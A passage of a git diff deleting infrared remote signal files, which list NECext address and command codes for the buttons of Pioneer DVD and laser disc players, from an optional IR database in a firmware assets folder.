00 -command: 99 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CHAPTER/TIME -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CONDITION_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_- -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CHP/TIME -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: CONDITION -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DISC_SIDE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LAST_MEMO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: DOWNV -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: LEFT< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: RIGHT> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: STEP> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: UP^ -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: NEXT_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: TRACK> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PREVIOUS_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: TRACK< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir deleted file mode 100644 index 5dbccc2a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 63 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 64 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: F6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir deleted file mode 100644 index 3a99c9f67..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 99 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9B 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9C 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A3 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir deleted file mode 100644 index ff9d4ae3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir +++ /dev/null @@ -1,692 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: DIGITAL/ANALOG -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: AUTO_DIGITAL/ANALOGU -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: D/A/CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0C 00 00 00 -# -name: CX -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 0E 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHAPTER/TIME -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: CHAPTER_FRAME/TIME -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: CHP/FR-TM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: CHP/TM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: PICTURE_CONTROL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: V-DNR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1D 00 00 00 -# -name: AUDIO_D/A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: AUDIO_MONITOR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2F 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 31 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 32 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 33 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 34 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 35 00 00 00 -# -name: LEVEL_CONTROL -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 37 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: REPEAT_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: STROBE_MOTION_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: MULTI_SPEED_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 46 00 00 00 -# -name: STROBE_MOTION_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: MULTI_SPEED_+ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 47 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: STEP_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: INDEX_SKIP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 51 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: STEP_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: MULTI-SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTI_SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTISPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: LAST_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 56 00 00 00 -# -name: MULTI-SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: SLOW_MOTION_+ -type: 